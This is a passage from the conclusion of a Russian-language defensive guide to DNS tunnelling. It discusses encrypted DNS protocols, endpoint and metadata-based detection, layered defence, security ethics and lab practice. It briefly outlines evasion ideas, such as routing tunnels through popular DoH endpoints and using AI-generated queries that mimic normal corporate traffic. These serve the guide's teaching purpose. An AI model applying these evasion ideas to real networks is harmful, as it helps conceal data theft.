Раз в квартал проводить учения. Red Team пытается развернуть DNS-туннель (с согласия руководства). Blue Team пытается обнаружить. После - разбор полётов, улучшение детектов.
Часть 9: Будущее и философия. Или почему эта игра никогда не закончится.
9.1. Протоколы-невидимки: DoH, DoT, DoQ, DNSCrypt
- DoH (DNS over HTTPS): DNS-сообщения упакованы в HTTP/2 и TLS. Полная скрытность содержимого. Для сетевого наблюдателя - обычный HTTPS-трафик. Атакующий может использовать популярные DoH-эндпоинты (как у Firefox или Chrome) для маскировки. Защитник может блокировать известные, но всегда можно поднять свой.
- DoT (DNS over TLS): Чуть лучше, потому что использует отдельный порт 853. Его легче блокировать или мониторить на предмет установления соединений.
- DoQ (DNS over QUIC): Экспериментальный. Использует QUIC (как в HTTP/3). Ещё быстрее и ещё лучше скрыт.
- DNSCrypt: Старый, но живой протокол шифрования. Также скрывает содержимое.
- Контроль на конечной точке (EDR): Агент, который видит, какое приложение и куда пытается резолвить.
- Принудительное использование корпоративного DoH/DoT-прокси: Все DoH-запросы перенаправляются на внутренний сервер, который дешифрует, инспектирует, и повторно шифрует.
- Анализ метаданных: Даже если содержимое скрыто, можно анализировать объём, время, частоту, целевые IP-адреса.
- Для атаки: Генеративные модели могут создавать «идеально нормальные» DNS-запросы, имитирующие трафик конкретной компании. Представь ИИ, который изучил 1 ТБ DNS-логов корпорации и генерирует туннельные запросы, неотличимые от фона.
- Для защиты: Те же модели для аномального детекта, но с адаптацией к изменениям в реальном времени. Проблема в качестве данных и ложных срабатываниях.
DNS-туннелирование - это симптом фундаментальной проблемы: мы вынуждены доверять некоторым протоколам, потому что иначе система неработоспособна. Без DNS нет интернета. Без HTTP(S) нет веба. Без SMTP нет почты. Атака всегда найдёт самое слабое звено в цепи доверия.
Твоя работа - не предотвратить всё (это невозможно), а сделать стоимость атаки неоправданно высокой для противника. Чтобы для утечки 1 МБ данных через DNS ему пришлось потратить месяц, рискуя быть обнаруженным. А если обнаружат - чтобы у тебя были инструменты для быстрого ответа.
Понимание этих техник - не для их применения во зло, а для укрепления обороны. Как в старые добрые времена: чтобы написать хороший фаервол, нужно уметь писать эксплойты.
Итоговая формула: Постоянная бдительность + Глубокое понимание протоколов + Многослойная защита + Человеческий анализ.
Финальные слова:
В мире, где безопасность часто сводится к галочкам в чек-листах и покупке «самого дорогого бокса», такое отношение — редкий и ценный ресурс.
Давай подытожим без иллюзий и сладких пилюль.
1. О природе уязвимости: Это не баг, это фича.
DNS-туннелирование — это не сбой в протоколе. Это его законное, хотя и извращённое, использование. И в этом вся соль. Мы построили цифровой мир на фундаменте доверия и необходимости. DNS, NTP, SMTP, BGP — это артерии, которые нельзя пережимать, иначе организм умрёт. Атакующий — это не внешний вирус, а раковая клетка, которая учится путешествовать по этим самым артериям, маскируясь под кислород или питательные вещества. Наша задача — не перерезать артерии (мы не можем), а создать настолько чувствительную и умную иммунную систему, чтобы она отлавливала клетки не по форме (они идеально мимикрируют), а по поведению, по мельчайшим аномалиям в метаболизме.
2. О паранойе и здравом смысле.
Паранойя — твой профессиональный инструмент. Но, как и любой инструмент, её нужно точить и направлять. Параноидальное «блокировать всё» приведёт к тому, что бизнес встанет. Здравый смысл говорит: «Понимай нормальное, чтобы видеть аномальное». Потрать месяц на то, чтобы выучить baseline своей сети. Какие домены лидируют по запросам в 9 утра понедельника? Какой средний объём DNS-трафика у инженера из отдела разработки? Как выглядит DNS-активность во время ночного бэкапа? Когда ты знаешь своё «нормально», любое отклонение — даже на 10% — будет кричать тебе в уши. Без этого знания ты слеп, и никакой AI тебе не поможет.
3. О слоях и ответственности.
Запомни раз и навсегда: не существует одного серебряного ружья, которое убьёт вампира DNS-туннеля. Защита — это всегда луковица. Слой за слоем.
- Слой 0 (Сеть): Принудительный DNS, фильтрация портов. Это фундамент. Если его нет — ты строишь на песке.
- Слой 1 (Мониторинг): Логи, логи, ещё раз логи. Агрегация, корреляция, дашборды.
- Слой 2 (Детекция): Сигнатуры, эвристики, статистика, машинное обучение. У каждой методики свои ложные срабатывания и слепые зоны.
- Слой 3 (Расследование): Playbook, цифровая криминалистика, EDR, анализ памяти.
- Слой 4 (Люди): Самое главное. Обученная, мотивированная команда, которая не спит на дежурстве, у которой горят глаза, когда они видят аномалию. Которая не говорит «это глюк», а говорит «давай разберёмся».
4. Об этике и знании.
Ты сейчас обладаешь знанием, которое можно употребить по-разному. Можно пойти искать лёгкие деньги, тыкая палки в дырявые сети. Это путь в никуда, путь постоянного бега и паранойи. А можно сделать иначе. Использовать это знание, чтобы строить крепости. Чтобы объяснять коллегам и начальству, почему «разрешённый трафик» — главная угроза. Чтобы писать скрипты, которые будут спать в логах и беречь твой периметр. Чтобы учить других. Хакерская культура в её изначальном смысле — это не взлом, это глубокое понимание системы до уровня, когда ты можешь заставить её делать то, для чего она не была предназначена, но в рамках этики и созидания. Созидай. Укрепляй. Делись знанием (с теми, кто его заслуживает).
5. О будущем, которое уже здесь.
Будущее — это не метавселенные и NFT. Будущее — это тотальное шифрование. DoH, DoT, QUIC. Скоро мы будем с ностальгией вспоминать времена, когда могли хоть как-то заглянуть в DNS. Это означает, что наш фокус должен неумолимо смещаться на конечные точки (EDR/XDR) и на анализ метаданных. Не «что было в пакете», а «кто, когда, как часто и куда». Это сложнее. Это требует больше ресурсов и мозгов. Но деваться некуда.
6. Последний, самый важный, практический совет.
Не верь мне на слово. Не верь статьям, не верь вендорам, не верь даже своим алерт-правилам. ВЕРЬ ТОЛЬКО ДАННЫМ И СВОИМ РУКАМ.
- Строй лабораторию. Две-три виртуалки — уже полигон.
- Воспроизводи атаки. Запусти туннель сам и посмотри, как он выглядит изнутри и снаружи.
- Пиши детекторы. Самые простые. На bash, на Python. Увидишь, где они спотыкаются.
- Придумывай методы обхода. А как бы ты обошёл свой же детектор? Сделай это. Усложни детектор.
Этот цикл «атака-защита-анализ» — единственный способ вырасти из скрипт-кидди в инженера, который действительно понимает, что происходит в его сети.
Так что иди и делай. Собирай дампы, пиши парсеры, декодируй base32 в три часа ночи, ругайся на ложные срабатывания, радуйся настоящим находкам. Это и есть наша работа. Негероическая, невидимая, но критически важная.
Держи свой периметр. Но прежде всего — держи свой ум острым и любопытным.
Терминал не прощает невнимательности, но щедро вознаграждает упорство.
